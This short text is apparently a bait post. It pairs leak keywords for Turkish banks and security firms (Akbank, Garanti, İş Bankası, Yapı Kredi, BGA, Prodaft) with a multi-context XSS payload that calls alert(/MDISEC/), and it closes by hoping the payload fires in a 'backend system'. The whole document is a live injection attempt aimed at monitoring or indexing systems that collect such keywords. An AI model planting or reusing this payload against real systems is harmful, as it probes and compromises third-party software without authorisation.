Keyword list;
Akbank credit card leak  1"--></script><svg/onload=';alert(/MDISEC/);'> www.akbank.com.tr
Garanti credit card leak  1"--></script><svg/onload=';alert(/MDISEC/);'> www.garanti.com.tr
İş Bankası credit card leak  1"--></script><svg/onload=';alert(/MDISEC/);'> www.isbank.com.tr
Yapı Kredi credit card/database 1"--></script><svg/onload=';alert(/MDISEC/);'>  leak www.yapikredi.com.tr
BGA database leak 1"--></script><svg/onload=';alert(/MDISEC/);'> www.bga.com.tr - ozy
Prodaft database leak  1"--></script><svg/onload=';alert(/MDISEC/);'> www.prodaft.com

Payload Multi Context;
1"--></script><svg/onload=';alert(/MDISEC/);'>

I hope that is going to pop-up something on ur backend system^^